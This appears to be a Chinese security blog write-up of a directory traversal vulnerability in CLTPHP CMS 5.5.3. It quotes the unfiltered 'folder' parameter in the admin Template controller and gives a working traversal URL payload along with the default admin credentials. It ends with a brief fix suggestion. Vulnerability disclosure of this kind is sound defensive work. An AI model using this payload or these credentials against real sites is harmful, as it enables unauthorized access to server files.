0x00 环境准备
CLTPHP官网:http://www.cltphp.com
网站源码版本:CLTPHP内容管理系统5.5.3版本
程序源码下载:https://gitee.com/chichu/cltphp
默认后台地址: http://127.0.0.1/admin/login/index.html
默认账号密码: 后台登录名:admin 密码:admin123
测试网站首页:
0x01 代码分析
1、/app/admin/controller/Template.php 第135-168行:
2、public function images(){
3、 $path = $this->publicpath.'images/'.input('folder').'/';
4、 $uppath = explode('/',input('folder'));
5、 $leve = count($uppath)-1;
6、 unset($uppath[$leve]);
7、 if($leve>1){
8、 unset($uppath[$leve-1]);
9、 $uppath = implode('/',$uppath).'/';
10、 }else{
11、 $uppath = '';
12、 }
13、 $this->assign ( 'leve',$leve);
14、 $this->assign ( 'uppath',$uppath);
15、 $files = glob($path.'*');
16、 $folders=array();
17、 foreach($files as $key => $file) {
18、 $filename = basename($file);
19、 if(is_dir($file)){
20、 $folders[$key]['filename'] = $filename;
21、 $folders[$key]['filepath'] = $file;
22、 $folders[$key]['ext'] = 'folder';
23、 }else{
24、 $templates[$key]['filename'] = $filename;
25、 $templates[$key]['filepath'] = $file;
26、 $templates[$key]['ext'] = strtolower(substr($filename,strrpos($filename, '.')-strlen($filename)+1));
27、 if(!in_array($templates[$key]['ext'],array('gif','jpg','png','bmp'))) $templates[$key]['ico'] =1;
28、 }
29、 }
30、 $this->assign ( 'title','媒体文件' );
31、 $this->assign ( 'path',$path);
32、 $this->assign ( 'folders',$folders );
33、 $this->assign ( 'files',$templates );
34、 return $this->fetch();
35、 }
在这段函数中,参数folder未进行任何有效过滤,获取目录下的文件信息,导致程序在实现上存在目录遍历漏洞,攻击者可利用该漏洞获取敏感信息。
0x02 漏洞利用
1、登录后台,构造url,获取网站目录结构。
获取网站根目录Payload:
http://127.0.0.1/admin/Template/images.html?folder=slideshow/../../../../../
0x03 修复建议
1、正则判断用户输入的参数的格式,看输入的格式是否合法:这个方法的匹配最为准确和细致,但是有很大难度,需要大量时间配置规则。
最后
欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。